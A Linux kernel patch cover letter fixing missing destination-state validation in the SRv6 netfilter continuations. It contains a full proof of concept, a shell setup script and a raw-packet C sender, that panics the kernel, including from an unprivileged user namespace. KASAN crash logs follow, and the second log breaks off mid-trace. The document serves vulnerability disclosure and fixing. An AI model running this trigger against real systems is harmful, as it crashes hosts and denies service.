Skip to contentSkip to conversation

seg6: validate state in netfilter continuations

PATCH Superseded Ren Wei 3 participants 4 messages Oct 24 – Oct 28

Subsystems (3)

v3 of 5 Superseded Latest is v5 →

lore
Share & tools
lore

Ren Wei

author
#0 lore raw

v3 cover seg6: validate state in netfilter continuations

From: Zixuan Chai <[email protected]>

Hi Linux kernel maintainers,

Thanks for the review of v2. This revision moves destination-state validation to the netfilter continuation callbacks, so packets that do not traverse the hooks retain the original direct core path.

We found and validated a bug in the SRv6 netfilter continuations in net/ipv6/seg6_local.c and net/ipv6/seg6_iptunnel.c. A hook can drop or replace skb_dst() before an okfn resumes. The continuation must not assume that the current destination still contains the expected lwtstate.

This bug is tracked at:
https://bugtracker.nebusec.ai/f/11977

We provide the technical details and test summary below. The complete archived PoC source and an exact excerpt from the clean serial log follow.

---- details below ----

Bug details:

When nf_hooks_lwtunnel is enabled, End.DX4 and End.DX6 pass the decapsulated packet through NF_INET_PRE_ROUTING before their finish callbacks resume. DNAT can drop skb_dst() during this hook. The SEG6_LOCAL input continuation and seg6_iptunnel input/output continuations have the same assumption after their respective hooks.

The patch validates skb_valid_dst(), a non-NULL lwtstate, and the expected LWTUNNEL_ENCAP_SEG6_LOCAL or LWTUNNEL_ENCAP_SEG6 type in small wrappers used only as NF_HOOK() okfn callbacks. Invalid state is dropped. Direct calls when nf_hooks_lwtunnel is off remain unchanged. The validation is by type, not state identity; it does not traverse XFRM dsts or take an additional lwtstate reference.

Reproducer:

The guest lacked cc1. A static x86_64 executable was built from the archived poc.c on the host, copied into the disposable QEMU guest, and executed only in that guest. The End.DX4 trigger was run as test_user in a fresh user/network namespace:

    su -s /bin/sh test_user -c \
        'cd /tmp/poc && unshare -Urn -- sh ./poc.sh dx4-inner'

The separate root-only XFRM trigger was run in a QEMU guest with eth0 configured as 10.0.2.15/24:

    cd /tmp/poc && sh ./poc.sh iptunnel-xfrm

Build and test environment:

Runtime tests used fresh QEMU TCG guests with 1 vCPU and 2 GiB RAM, backed by the same base image.

------BEGIN poc.sh------
#!/bin/sh
set -eu

PATH=/usr/sbin:/usr/bin:/sbin:/bin${PATH:+:$PATH}

SELF=$(readlink -f "$0")
DIR=$(dirname "$SELF")
BIN="$DIR/poc"

DX4_TABLE=poc_seg6_dx4
DX4_ROUTE_TABLE=100
DX4_RULE_PREF=100
DX4_SID=fc00:12:100::6004
DX4_OLD_IPV4_FORWARD=
DX4_OLD_IPV6_FORWARD=
DX4_OLD_RP_FILTER=
DX4_SYSCTL_SAVED=0
DX4_SRC_PAIR_ADDED=0
DX4_HS_PAIR_ADDED=0
DX4_ROUTE_ADDED=0
DX4_RULE_ADDED=0
DX4_TABLE_ADDED=0

XFRM_TABLE=poc_seg6_iptunnel_xfrm
XFRM_IFACE=${POC_IFACE:-eth0} XFRM_SOURCE_IP=${POC_SOURCE_IP:-10.0.2.15} XFRM_SNAT_IP=${POC_SNAT_IP:-10.0.2.16} XFRM_DST_IP=${POC_DST_IP:-198.18.0.2} XFRM_SEGMENT=${POC_SEGMENT:-fec0::2}
XFRM_SPI=0x100 XFRM_AUTH_KEY=0x1111111111111111111111111111111111111111111111111111111111111111 XFRM_ENC_KEY=0x22222222222222222222222222222222
XFRM_ADDR_ADDED=0
XFRM_ADDR_PREFIX=
XFRM_IFACE_STATE_SAVED=0
XFRM_IFACE_WAS_UP=0
XFRM_SEGMENT_ROUTE_ADDED=0
XFRM_ENCAP_ROUTE_ADDED=0
XFRM_TABLE_ADDED=0
XFRM_STATE_ADDED=0
XFRM_POLICY_ADDED=0
XFRM_OLD_NF_HOOKS=
XFRM_NF_HOOKS_ENABLED=0

usage() {
	cat >&2 <<EOF

usage: $0 [namespace|dx4|root|iptunnel-xfrm]

  namespace       non-root End.DX4 + PREROUTING DNAT (default)
  dx4             root End.DX4 + PREROUTING DNAT
  root            compatibility alias for dx4
  iptunnel-xfrm   root-only QEMU test: SRv6 encap + SNAT + ESP/XFRM

EOF
}

need_cmd() {
	command -v "$1" >/dev/null 2>&1 || {
		echo "missing command: $1" >&2
		exit 1
	}
}
require_root() {
	[ "$(id -u)" -eq 0 ] || {
		echo "this mode must run as root inside a QEMU guest" >&2
		exit 1
	}
}

require_qemu_guest() {
if [ ! -r /sys/class/dmi/id/sys_vendor ] || \
! grep -qi qemu /sys/class/dmi/id/sys_vendor; then echo "iptunnel-xfrm may only run in a disposable QEMU guest" >&2 exit 1
fi
}

build_poc() {
	need_cmd cc
	cc -O2 -Wall -Wextra -o "$BIN" "$DIR/poc.c"
}
cleanup_dx4() {
	if [ "$DX4_RULE_ADDED" -eq 1 ]; then
		ip -6 rule del iif rt0 to "$DX4_SID/128" \
			lookup "$DX4_ROUTE_TABLE" pref "$DX4_RULE_PREF" 2>/dev/null || true
	fi
	if [ "$DX4_ROUTE_ADDED" -eq 1 ]; then
		ip -6 route del "$DX4_SID/128" table "$DX4_ROUTE_TABLE" \
			2>/dev/null || true
	fi
	if [ "$DX4_TABLE_ADDED" -eq 1 ]; then
		nft delete table ip "$DX4_TABLE" 2>/dev/null || true
	fi
	if [ "$DX4_SRC_PAIR_ADDED" -eq 1 ]; then
		ip link del src0 2>/dev/null || true
	fi
	if [ "$DX4_HS_PAIR_ADDED" -eq 1 ]; then
		ip link del hs0 2>/dev/null || true
	fi

	if [ "$DX4_SYSCTL_SAVED" -eq 1 ]; then
		sysctl -wq net.ipv4.ip_forward="$DX4_OLD_IPV4_FORWARD" || true
		sysctl -wq net.ipv6.conf.all.forwarding="$DX4_OLD_IPV6_FORWARD" || true
		sysctl -wq net.ipv4.conf.all.rp_filter="$DX4_OLD_RP_FILTER" || true
	fi
}
setup_and_trigger_dx4() {
	need_cmd ip
	need_cmd nft
	need_cmd sysctl

	for dev in src0 rt0 hs0 rth0; do
		if [ -e "/sys/class/net/$dev" ]; then
			echo "interface $dev already exists; use a fresh network namespace" >&2
			return 1
		fi
	done
	if nft list table ip "$DX4_TABLE" >/dev/null 2>&1 || \
		ip -6 route show table "$DX4_ROUTE_TABLE" "$DX4_SID/128" | grep -q . || \
		ip -6 rule show pref "$DX4_RULE_PREF" | grep -q .; then
		echo "End.DX4 PoC resources already exist; refusing to overwrite them" >&2
		return 1
	fi

	DX4_OLD_IPV4_FORWARD=$(sysctl -n net.ipv4.ip_forward)
	DX4_OLD_IPV6_FORWARD=$(sysctl -n net.ipv6.conf.all.forwarding)
	DX4_OLD_RP_FILTER=$(sysctl -n net.ipv4.conf.all.rp_filter)
	DX4_SYSCTL_SAVED=1

	ip link add src0 type veth peer name rt0
	DX4_SRC_PAIR_ADDED=1
	ip link add hs0 type veth peer name rth0
	DX4_HS_PAIR_ADDED=1

	ip link set lo up
	ip addr add 2001:11::1/64 dev src0 nodad
	ip addr add 10.0.0.22/24 dev rth0

	ip link set src0 up
	ip link set rt0 up
	ip link set hs0 up
	ip link set rth0 up

	sysctl -wq net.ipv4.ip_forward=1
	sysctl -wq net.ipv6.conf.all.forwarding=1
	sysctl -wq net.netfilter.nf_hooks_lwtunnel=1
	sysctl -wq net.ipv4.conf.all.rp_filter=0

	ip -6 route add "$DX4_SID/128" table "$DX4_ROUTE_TABLE" \
		encap seg6local action End.DX4 nh4 10.0.0.2 dev rth0
	DX4_ROUTE_ADDED=1
	ip -6 rule add iif rt0 to "$DX4_SID/128" \
		lookup "$DX4_ROUTE_TABLE" pref "$DX4_RULE_PREF"
	DX4_RULE_ADDED=1

	nft add table ip "$DX4_TABLE"
	DX4_TABLE_ADDED=1
	nft add chain ip "$DX4_TABLE" prerouting \
		'{ type nat hook prerouting priority -100; policy accept; }'
	nft add rule ip "$DX4_TABLE" prerouting \
		ip daddr 10.0.0.2 dnat to 10.0.0.99

	# Keep the trap active so all objects created above are removed on return.
	"$BIN" src0 rt0
}
cleanup_iptunnel_xfrm() {
	if [ "$XFRM_POLICY_ADDED" -eq 1 ]; then
		ip xfrm policy delete dir out src "$XFRM_SNAT_IP/32" \
			dst "$XFRM_DST_IP/32" 2>/dev/null || true
	fi
	if [ "$XFRM_STATE_ADDED" -eq 1 ]; then
		ip xfrm state delete src "$XFRM_SNAT_IP" dst "$XFRM_DST_IP" \
			proto esp spi "$XFRM_SPI" 2>/dev/null || true
	fi

	if [ "$XFRM_ENCAP_ROUTE_ADDED" -eq 1 ]; then
		ip -4 route del "$XFRM_DST_IP/32" 2>/dev/null || true
	fi
	if [ "$XFRM_SEGMENT_ROUTE_ADDED" -eq 1 ]; then
		ip -6 route del "$XFRM_SEGMENT/128" dev "$XFRM_IFACE" \
			2>/dev/null || true
	fi
	if [ "$XFRM_ADDR_ADDED" -eq 1 ]; then
		ip addr del "$XFRM_SNAT_IP/$XFRM_ADDR_PREFIX" dev "$XFRM_IFACE" \
			2>/dev/null || true
	fi
	if [ "$XFRM_TABLE_ADDED" -eq 1 ]; then
		nft delete table ip "$XFRM_TABLE" 2>/dev/null || true
	fi
	if [ "$XFRM_IFACE_STATE_SAVED" -eq 1 ] && \
		[ "$XFRM_IFACE_WAS_UP" -eq 0 ]; then
		ip link set "$XFRM_IFACE" down 2>/dev/null || true
	fi
	if [ "$XFRM_NF_HOOKS_ENABLED" -eq 1 ] && \
		[ "$XFRM_OLD_NF_HOOKS" -eq 0 ]; then
		echo "NOTE: nf_hooks_lwtunnel is one-way enabled until the guest reboots" >&2
	fi
}
setup_and_trigger_iptunnel_xfrm() {
	require_root
	require_qemu_guest
	need_cmd ip
	need_cmd nft
	need_cmd ping
	need_cmd sysctl

	[ -e "/sys/class/net/$XFRM_IFACE" ] || {
		echo "interface $XFRM_IFACE is required" >&2
		exit 1
	}
	XFRM_SOURCE_CIDR=$(ip -4 -o addr show dev "$XFRM_IFACE" | \
		awk -v address="$XFRM_SOURCE_IP" \
			'index($4, address "/") == 1 { print $4; exit }')
	if [ -z "$XFRM_SOURCE_CIDR" ]; then
		echo "$XFRM_IFACE must have $XFRM_SOURCE_IP configured" >&2
		exit 1
	fi
	XFRM_ADDR_PREFIX=${XFRM_SOURCE_CIDR#*/}

	if nft list table ip "$XFRM_TABLE" >/dev/null 2>&1 || \
		ip -4 route show "$XFRM_DST_IP/32" | grep -q . || \
		ip -6 route show "$XFRM_SEGMENT/128" | grep -q . || \
		ip xfrm state list src "$XFRM_SNAT_IP" dst "$XFRM_DST_IP" \
			| grep -q . || \
		ip xfrm policy list src "$XFRM_SNAT_IP/32" \
			dst "$XFRM_DST_IP/32" dir out | grep -q .; then
		echo "XFRM PoC table or route already exists; refusing to overwrite it" >&2
		return 1
	fi

	if ip -o link show dev "$XFRM_IFACE" | grep -q '<[^>]*UP'; then
		XFRM_IFACE_WAS_UP=1
	fi
	XFRM_IFACE_STATE_SAVED=1
	ip link set "$XFRM_IFACE" up

	XFRM_OLD_NF_HOOKS=$(sysctl -n net.netfilter.nf_hooks_lwtunnel)
	case "$XFRM_OLD_NF_HOOKS" in
	0|1) ;;
	*)
		echo "unexpected nf_hooks_lwtunnel value: $XFRM_OLD_NF_HOOKS" >&2
		return 1
		;;
	esac

	if ! ip -4 -o addr show dev "$XFRM_IFACE" | \
		grep -Fq "inet $XFRM_SNAT_IP/"; then
		ip addr add "$XFRM_SNAT_IP/$XFRM_ADDR_PREFIX" dev "$XFRM_IFACE"
		XFRM_ADDR_ADDED=1
	fi

	ip -6 route add "$XFRM_SEGMENT/128" dev "$XFRM_IFACE"
	XFRM_SEGMENT_ROUTE_ADDED=1
	ip -4 route add "$XFRM_DST_IP/32" \
		encap seg6 mode encap segs "$XFRM_SEGMENT" dev "$XFRM_IFACE"
	XFRM_ENCAP_ROUTE_ADDED=1

	# Use a private table; never flush the guest's global nftables ruleset.
	nft add table ip "$XFRM_TABLE"
	XFRM_TABLE_ADDED=1
	nft add chain ip "$XFRM_TABLE" postrouting \
		'{ type nat hook postrouting priority 100; policy accept; }'
	nft add rule ip "$XFRM_TABLE" postrouting \
		ip saddr "$XFRM_SOURCE_IP" ip daddr "$XFRM_DST_IP" \
		snat to "$XFRM_SNAT_IP"

	ip xfrm state add \
		src "$XFRM_SNAT_IP" dst "$XFRM_DST_IP" \
		proto esp spi "$XFRM_SPI" mode transport \
		auth-trunc 'hmac(sha256)' "$XFRM_AUTH_KEY" 128 \
		enc 'cbc(aes)' "$XFRM_ENC_KEY"
	XFRM_STATE_ADDED=1
	ip xfrm policy add dir out \
		src "$XFRM_SNAT_IP/32" dst "$XFRM_DST_IP/32" \
		tmpl src "$XFRM_SNAT_IP" dst "$XFRM_DST_IP" \
		proto esp mode transport
	XFRM_POLICY_ADDED=1

	ip -4 route get "$XFRM_DST_IP" from "$XFRM_SOURCE_IP"
	ip xfrm policy list
	if [ "$XFRM_OLD_NF_HOOKS" -eq 0 ]; then
		echo "WARNING: enabling nf_hooks_lwtunnel persists until QEMU guest reboot" >&2
	fi
	sysctl -wq net.netfilter.nf_hooks_lwtunnel=1
	XFRM_NF_HOOKS_ENABLED=1

	# The target need not answer; transmitting this packet enters the path.
	echo "Sending one IPv4 ping to trigger SRv6 encap + POST_ROUTING SNAT + ESP"
	if ping -n -c 1 -W 1 -I "$XFRM_SOURCE_IP" "$XFRM_DST_IP"; then
		echo "ping received a reply"
	else
		ping_status=$?
		case "$ping_status" in
		1)
			echo "no ping reply (expected); inspect the QEMU serial log for the kernel result"
			;;
		*)
			echo "ping failed before the trigger completed (status $ping_status)" >&2
			return "$ping_status"
			;;
		esac
	fi
}

case "${1:-namespace}" in
namespace)

	build_poc
	exec unshare -Urn -- "$SELF" dx4-inner
	;;
dx4|root)
	require_root
	trap cleanup_dx4 EXIT
	build_poc
	setup_and_trigger_dx4
	;;
dx4-inner|inner)
	trap cleanup_dx4 EXIT
	setup_and_trigger_dx4
	;;
iptunnel-xfrm|xfrm)
	trap cleanup_iptunnel_xfrm EXIT
	trap 'exit 129' HUP
	trap 'exit 130' INT
	trap 'exit 143' TERM
	setup_and_trigger_iptunnel_xfrm
	;;
*)
	usage
	exit 2
	;;

esac
------END poc.sh------

------BEGIN poc.c------
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netinet/icmp6.h>
#include <netinet/ip.h>
#include <netinet/ip6.h>
#include <netinet/udp.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

static uint16_t checksum(const void *data, size_t len)

{
	const uint8_t *bytes = data;
	uint32_t sum = 0;
	size_t i;

	for (i = 0; i + 1 < len; i += 2)
		sum += ((uint32_t)bytes[i] << 8) | bytes[i + 1];

	if (len & 1)
		sum += (uint32_t)bytes[len - 1] << 8;

	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);

	return (uint16_t)~sum;
}

static void die(const char *msg)

{
	perror(msg);
	exit(1);
}

static void get_if_hwaddr(int fd, const char *ifname, unsigned char *mac)

{
	struct ifreq ifr = {0};

	strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die("SIOCGIFHWADDR");

	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
}

static int get_ifindex(int fd, const char *ifname)

{
	struct ifreq ifr = {0};

	strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die("SIOCGIFINDEX");

	return ifr.ifr_ifindex;
}

int main(int argc, char **argv)

{
	static const char payload[] = "dx4";
	struct sockaddr_ll sll = {0};
	struct ether_header *eth;
	struct ip6_hdr *ip6;
	struct iphdr *ip4;
	struct udphdr *udp;
	unsigned char src_mac[ETH_ALEN];
	unsigned char dst_mac[ETH_ALEN];
	unsigned char frame[sizeof(*eth) + sizeof(*ip6) + sizeof(*ip4) +
			    sizeof(*udp) + sizeof(payload)];
	const char *tx_if;
	const char *peer_if;
	size_t off;
	int fd;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <tx-if> <peer-if>\n", argv[0]);
		return 2;
	}

	tx_if = argv[1];
	peer_if = argv[2];

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IPV6));
	if (fd < 0)
		die("socket(AF_PACKET)");

	get_if_hwaddr(fd, tx_if, src_mac);
	get_if_hwaddr(fd, peer_if, dst_mac);

	memset(frame, 0, sizeof(frame));
	off = 0;

	eth = (struct ether_header *)(frame + off);
	memcpy(eth->ether_shost, src_mac, ETH_ALEN);
	memcpy(eth->ether_dhost, dst_mac, ETH_ALEN);
	eth->ether_type = htons(ETH_P_IPV6);
	off += sizeof(*eth);

	ip6 = (struct ip6_hdr *)(frame + off);
	ip6->ip6_flow = htonl(6U << 28);
	ip6->ip6_plen = htons(sizeof(*ip4) + sizeof(*udp) + sizeof(payload));
	ip6->ip6_nxt = IPPROTO_IPIP;
	ip6->ip6_hops = 64;
	if (inet_pton(AF_INET6, "2001:11::1", &ip6->ip6_src) != 1)
		die("inet_pton outer src");
	if (inet_pton(AF_INET6, "fc00:12:100::6004", &ip6->ip6_dst) != 1)
		die("inet_pton outer dst");
	off += sizeof(*ip6);

	ip4 = (struct iphdr *)(frame + off);
	ip4->version = 4;
	ip4->ihl = 5;
	ip4->ttl = 64;
	ip4->protocol = IPPROTO_UDP;
	ip4->tot_len = htons(sizeof(*ip4) + sizeof(*udp) + sizeof(payload));
	ip4->saddr = inet_addr("10.0.0.1");
	ip4->daddr = inet_addr("10.0.0.2");
	ip4->check = checksum(ip4, sizeof(*ip4));
	off += sizeof(*ip4);

	udp = (struct udphdr *)(frame + off);
	udp->source = htons(4442);
	udp->dest = htons(5555);
	udp->len = htons(sizeof(*udp) + sizeof(payload));
	udp->check = 0;
	off += sizeof(*udp);

	memcpy(frame + off, payload, sizeof(payload));

	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_IPV6);
	sll.sll_ifindex = get_ifindex(fd, tx_if);
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst_mac, ETH_ALEN);

	if (sendto(fd, frame, sizeof(frame), 0, (struct sockaddr *)&sll,
		   sizeof(sll)) < 0)
		die("sendto");

	close(fd);
	return 0;
}

------END poc.c------

The crash excerpts are copied from the serial logs from the first Oops through the reboot line; the preceding interactive shell prompt and terminal control bytes are omitted.

----BEGIN End.DX4 crash log----

[  678.521914][    C0] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000011: 0000 [#1] SMP KASAN NOPTI
[  678.524426][    C0] KASAN: null-ptr-deref in range [0x0000000000000088-0x000000000000008f]
[  678.526649][    C0] CPU: 0 UID: 1001 PID: 5145 Comm: poc Not tainted 7.3.0-rc7-00196-gf4377bf85887 #2 PREEMPT(full) 
[  678.528588][    C0] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[  678.530432][    C0] RIP: 0010:input_action_end_dx4_finish+0x7b/0x570
[  678.533076][    C0] Code: 0f 85 91 02 00 00 e8 94 d9 64 f7 49 89 df 48 b8 00 00 00 00 00 fc ff df 49 83 e7 fe 49 8d bf 88 00 00 00 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 81 04 00 00 48 8d bd d0 00 00 00 4d 8b b7 88 00
[  678.535859][    C0] RSP: 0018:ffa0000000007888 EFLAGS: 00000206
[  678.537547][    C0] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000101
[  678.539110][    C0] RDX: 0000000000000011 RSI: ffffffff8a5d531c RDI: 0000000000000088
[  678.540601][    C0] RBP: ff110000301de500 R08: 0000000000000101 R09: ffe21c00064c830c
[  678.542112][    C0] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
[  678.543585][    C0] R13: ff110000301de558 R14: 0000000000000000 R15: 0000000000000000
[  678.545146][    C0] FS:  0000000020e713c0(0000) GS:ff110000d566e000(0000) knlGS:0000000000000000
[  678.546755][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  678.548090][    C0] CR2: 000000000049bfe0 CR3: 0000000022296000 CR4: 00000000007516f0
[  678.549909][    C0] PKRU: 55555554
[  678.550995][    C0] Call Trace:
[  678.552149][    C0]  <IRQ>
[  678.553352][    C0]  input_action_end_dx4+0x35d/0x470
[  678.554819][    C0]  seg6_local_input_core+0x106/0x330
[  678.556171][    C0]  seg6_local_input+0x17c/0x1e0
[  678.557469][    C0]  lwtunnel_input+0x304/0x770
[  678.558752][    C0]  ? __pfx_lwtunnel_input+0x10/0x10
[  678.560053][    C0]  ipv6_rcv+0x365/0x3d0
[  678.561234][    C0]  ? __pfx_ipv6_rcv+0x10/0x10
[  678.562502][    C0]  deliver_skb+0x179/0x260
[  678.563785][    C0]  __netif_receive_skb_core.constprop.0+0x1560/0x32c0
[  678.565305][    C0]  ? lock_acquire+0x1bf/0x370
[  678.566550][    C0]  ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10
[  678.568054][    C0]  ? notifier_call_chain+0xbd/0x430
[  678.569380][    C0]  ? find_held_lock+0x2b/0x80
[  678.570655][    C0]  ? __lock_acquire+0x509/0x2110
[  678.571953][    C0]  __netif_receive_skb_one_core+0xaf/0x1e0
[  678.573285][    C0]  ? __pfx___netif_receive_skb_one_core+0x10/0x10
[  678.574706][    C0]  ? process_backlog+0x330/0x1540
[  678.575956][    C0]  ? process_backlog+0x330/0x1540
[  678.577181][    C0]  __netif_receive_skb+0x1d/0x160
[  678.578437][    C0]  process_backlog+0x382/0x1540
[  678.579674][    C0]  __napi_poll.constprop.0+0xb3/0x540
[  678.580949][    C0]  net_rx_action+0x9b1/0xea0
[  678.582179][    C0]  ? __pfx_net_rx_action+0x10/0x10
[  678.583438][    C0]  ? sched_clock+0x39/0x60
[  678.584641][    C0]  ? sched_clock_cpu+0x6c/0x550
[  678.585874][    C0]  ? __pfx_sched_clock_cpu+0x10/0x10
[  678.587130][    C0]  ? sched_clock_cpu+0x6c/0x550
[  678.588337][    C0]  ? __dev_queue_xmit+0xe73/0x4430
[  678.589603][    C0]  handle_softirqs+0x1d3/0x990
[  678.590903][    C0]  ? __dev_queue_xmit+0xe73/0x4430
[  678.592191][    C0]  do_softirq+0xad/0xe0
[  678.593453][    C0]  </IRQ>
[  678.594423][    C0]  <TASK>
[  678.595487][    C0]  __local_bh_enable_ip+0x109/0x130
[  678.596766][    C0]  ? __dev_queue_xmit+0xe73/0x4430
[  678.597978][    C0]  __dev_queue_xmit+0xe88/0x4430
[  678.599209][    C0]  ? __might_fault+0x138/0x190
[  678.600464][    C0]  ? __pfx___dev_queue_xmit+0x10/0x10
[  678.601718][    C0]  ? __might_fault+0xe0/0x190
[  678.602945][    C0]  ? _copy_from_iter+0x14b/0x1710
[  678.604182][    C0]  ? __pfx__copy_from_iter+0x10/0x10
[  678.605423][    C0]  ? __pfx_ref_tracker_alloc+0x10/0x10
[  678.606737][    C0]  ? __sanitizer_cov_trace_switch+0x54/0x90
[  678.608082][    C0]  ? packet_parse_headers+0x278/0x840
[  678.609410][    C0]  ? __pfx_packet_parse_headers+0x10/0x10
[  678.610797][    C0]  packet_xmit+0x24f/0x370
[  678.611952][    C0]  packet_sendmsg+0x30e3/0x4de0
[  678.613180][    C0]  ? sock_has_perm+0x21f/0x2c0
[  678.614436][    C0]  ? __pfx_sock_has_perm+0x10/0x10
[  678.615706][    C0]  ? __sanitizer_cov_trace_switch+0x54/0x90
[  678.617033][    C0]  ? tomoyo_socket_sendmsg_permission+0x13b/0x3a0
[  678.618424][    C0]  ? __pfx_packet_sendmsg+0x10/0x10
[  678.619672][    C0]  ? selinux_socket_sendmsg+0x18f/0x2e0
[  678.620954][    C0]  ? __pfx_packet_sendmsg+0x10/0x10
[  678.622165][    C0]  __sys_sendto+0x4c3/0x510
[  678.623373][    C0]  ? __pfx___sys_sendto+0x10/0x10
[  678.624633][    C0]  ? sock_ioctl+0x3c8/0x6a0
[  678.625867][    C0]  ? fd_install+0x23d/0x550
[  678.627123][    C0]  ? selinux_file_ioctl+0x189/0x280
[  678.628378][    C0]  ? selinux_file_ioctl+0xbb/0x280
[  678.629658][    C0]  __x64_sys_sendto+0xe0/0x1c0
[  678.630911][    C0]  ? lockdep_hardirqs_on+0x7d/0x110
[  678.632235][    C0]  do_syscall_64+0x128/0x7b0
[  678.633440][    C0]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  678.634838][    C0] RIP: 0033:0x44fefa
[  678.636837][    C0] Code: ec 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa 41 89 ca 64 8b 04 25 18 00 00 00 85 c0 75 15 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 7e c3 0f 1f 44 00 00 41 54 48 83 ec 30 44 89
[  678.640295][    C0] RSP: 002b:00007ffca883d078 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[  678.642313][    C0] RAX: ffffffffffffffda RBX: 00007ffca883d358 RCX: 000000000044fefa
[  678.644071][    C0] RDX: 0000000000000056 RSI: 00007ffca883d0e0 RDI: 0000000000000003
[  678.645560][    C0] RBP: 0000000000000003 R08: 00007ffca883d080 R09: 0000000000000014
[  678.647262][    C0] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffca883ef33
[  678.648965][    C0] R13: 00007ffca883ef38 R14: 00000000004c97d0 R15: 0000000000000001
[  678.650520][    C0]  </TASK>
[  678.651540][    C0] Modules linked in:
[  678.654081][    C0] ---[ end trace 0000000000000000 ]---
[  678.656007][    C0] RIP: 0010:input_action_end_dx4_finish+0x7b/0x570
[  678.657556][    C0] Code: 0f 85 91 02 00 00 e8 94 d9 64 f7 49 89 df 48 b8 00 00 00 00 00 fc ff df 49 83 e7 fe 49 8d bf 88 00 00 00 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 81 04 00 00 48 8d bd d0 00 00 00 4d 8b b7 88 00
[  678.661176][    C0] RSP: 0018:ffa0000000007888 EFLAGS: 00000206
[  678.662620][    C0] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000101
[  678.664355][    C0] RDX: 0000000000000011 RSI: ffffffff8a5d531c RDI: 0000000000000088
[  678.666358][    C0] RBP: ff110000301de500 R08: 0000000000000101 R09: ffe21c00064c830c
[  678.668153][    C0] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
[  678.669908][    C0] R13: ff110000301de558 R14: 0000000000000000 R15: 0000000000000000
[  678.671680][    C0] FS:  0000000020e713c0(0000) GS:ff110000d566e000(0000) knlGS:0000000000000000
[  678.673288][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  678.674861][    C0] CR2: 000000000049bfe0 CR3: 0000000022296000 CR4: 00000000007516f0
[  678.676600][    C0] PKRU: 55555554
[  678.678037][    C0] Kernel panic - not syncing: Fatal exception in interrupt
[  678.680739][    C0] Kernel Offset: disabled
[  678.682319][    C0] Rebooting in 86400 seconds..

-----END End.DX4 crash log-----

----BEGIN SNAT+ESP/XFRM crash log----

[  413.698202][ T5020] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000008: 0000 [#1] SMP KASAN NOPTI
[  413.700821][ T5020] KASAN: null-ptr-deref in range [0x0000000000000040-0x0000000000000047]
[  413.703018][ T5020] CPU: 0 UID: 0 PID: 5020 Comm: ping Not tainted 7.3.0-rc7-00196-gf4377bf85887 #2 PREEMPT(full) 
[  413.704907][ T5020] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[  413.706751][ T5020] RIP: 0010:dst_cache_get+0x25/0x5d0
[  413.709224][ T5020] Code: 90 90 90 90 90 f3 0f 1e fa 41 56 41 55 41 54 55 48 89 fd 53 e8 ac cc 39 f8 48 89 ea 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <80> 3c 02 00 0f 85 b9 04 00 00 4c 8b 65 00 4d 85 e4 0f 84 a1 02 00
[  413.712193][ T5020] RSP: 0018:ffa00000019b7810 EFLAGS: 00000202
[  413.713522][ T5020] RAX: dffffc0000000000 RBX: ff11000030182a80 RCX: 0000000000000400
[  413.715033][ T5020] RDX: 0000000000000008 RSI: ffffffff89886004 RDI: 0000000000000040
[  413.716524][ T5020] RBP: 0000000000000040 R08: 0000000000000200 R09: 0000000000000001
[  413.718070][ T5020] R10: 0000000000000000 R11: 0000000000000001 R12: ff1100001cf9d8c0
[  413.719549][ T5020] R13: 0000000000000000 R14: ffffffff8a5c773c R15: ff1100001cf9d918
[  413.721087][ T5020] FS:  00007f2b4a18a000(0000) GS:ff110000d566e000(0000) knlGS:0000000000000000
[  413.722956][ T5020] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  413.724291][ T5020] CR2: 00007ffd11863680 CR3: 000000002faaf000 CR4: 00000000007516f0
[  413.725843][ T5020] PKRU: 55555554
[  413.726865][ T5020] Call Trace:
[  413.728028][ T5020]  <TASK>
[  413.729220][ T5020]  ? seg6_output_core+0x10c/0x10d0
[  413.730609][ T5020]  seg6_output_core+0x131/0x10d0
[  413.731932][ T5020]  ? __pfx_seg6_output_core+0x10/0x10
[  413.733237][ T5020]  ? __pfx_seg6_output_core+0x10/0x10
[  413.734500][ T5020]  ? __pfx_nf_hook.constprop.0+0x10/0x10
[  413.735796][ T5020]  ? __pfx_dst_output+0x10/0x10
[  413.737114][ T5020]  ? __pfx_seg6_output_core+0x10/0x10
[  413.738389][ T5020]  ? lock_acquire+0x1bf/0x370
[  413.739618][ T5020]  seg6_output+0x31/0x250
[  413.740807][ T5020]  lwtunnel_output+0x311/0x760
[  413.742080][ T5020]  ? __pfx_lwtunnel_output+0x10/0x10
[  413.743334][ T5020]  ip_push_pending_frames+0x2d0/0x320
